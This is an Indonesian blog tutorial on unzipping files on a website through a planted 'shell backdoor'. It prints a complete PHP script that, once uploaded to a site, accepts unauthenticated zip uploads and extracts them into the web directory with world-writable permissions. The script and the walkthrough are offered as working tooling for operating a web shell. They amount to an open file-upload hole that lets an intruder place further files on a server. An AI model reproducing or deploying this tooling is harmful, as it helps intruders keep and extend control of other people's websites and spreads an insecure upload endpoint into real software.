Biasanya Membuat zip atau unzip file bisa melalui cpanel atau shell backdoor dengan menu unzip file di shell backdoor. tetapi ada beberapa website yang error saat unzip dengan menu shell backdoor. pada kesempatan kali ini kami akan berbagi Cara Ekstrak File Zip Dengan Shell Backdoor
Cara yang akan kami bagikan dengan cara manual dengan menggunakan script PHP yang akan di buat di website. simak tutorial berikut :
1. Buatlah file php didalam website dengan script ini
2. Buat lagi file php untuk mengekstrak file zip dengan script ini Klik Disini
Contoh bisa lihat gambar berikut :
Agar lebih mudah tetap buat file dengan nama Zipper & Unzip lalu kamu langsung upload file zip yang akan di ekstrak di dalam website. Dan jangan lupa untuk mengganti nama file zip pada file php unzip ganti nama sesuai dengan nama zip kamu.
Lalu Kamu buka link file unzip contoh kamu buat file unzip di public_html kamu tinggal buka www.site.com/unzip.php disini kami membuat dan mengupload dengan membuat folder baru, Jadi membuka linknya www.site.com/namafolder/unzip.php
Dan Hasilnya seperti ini :
UPDATE JULY 2020!
Cara lain untuk unzip dengan shell backoor yaitu dengan script upload dan ekstrak secara otomatis cara ini sebenarnya lebih simple dengan cara diatas. karena kamu hanya perlu mengupload file ini keadalam server. Berikut script PHP Unzip Shell Backdoor :
<?php
/* Simple script to upload a zip file to the webserver and have it unzipped
Saves tons of time, think only of uploading Wordpress to the server
Thanks to c.bavota (www.bavotasan.com)
I have modified the script a little to make it more convenient
Modified by: Johan van de Merwe (12.02.2013) And shared by mnhblogs
*/
function rmdir_recursive($dir) {
foreach(scandir($dir) as $file) {
if ('.' === $file || '..' === $file) continue;
if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
else unlink("$dir/$file");
}
rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
$filename = $_FILES["zip_file"]["name"];
$source = $_FILES["zip_file"]["tmp_name"];
$type = $_FILES["zip_file"]["type"];
$name = explode(".", $filename);
$accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
foreach($accepted_types as $mime_type) {
if($mime_type == $type) {
$okay = true;
break;
}
}
$continue = strtolower($name[1]) == 'zip' ? true : false;
if(!$continue) {
$message = "The file you are trying to upload is not a .zip file. Please try again.";
}
/* PHP current path */
$path = dirname(__FILE__).'/'; // absolute path to the directory where zipper.php is in
$filenoext = basename ($filename, '.zip'); // absolute path to the directory where zipper.php is in (lowercase)
$filenoext = basename ($filenoext, '.ZIP'); // absolute path to the directory where zipper.php is in (when uppercase)
$targetdir = $path . $filenoext; // target directory
$targetzip = $path . $filename; // target zip file
/* create directory if not exists', otherwise overwrite */
/* target directory is same as filename without extension */
if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
mkdir($targetdir, 0777);
/* here it is really happening */
if(move_uploaded_file($source, $targetzip)) {
$zip = new ZipArchive();
$x = $zip->open($targetzip); // open the zip file to extract
if ($x === true) {
$zip->extractTo($targetdir); // place in the directory with same name
$zip->close();
unlink($targetzip);
}
$message = "Your .zip file was uploaded and unpacked.";
} else {
$message = "There was a problem with the upload. Please try again.";
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Unzip a zip file to the webserver</title>
</head>
<body>
<?php if($message) echo "<p>$message</p>"; ?>
<form enctype="multipart/form-data" method="post" action="">
<label>Choose a zip file to upload: <input type="file" name="zip_file" /></label>
<br />
<input type="submit" name="submit" value="Upload" />
</form>
</body>
</html>
Sekian tutorial Cara Ekstrak File Zip Dengan Shell Backdoor jika ada pertanyaan silahkan inbox kami melalui fanspage facebook.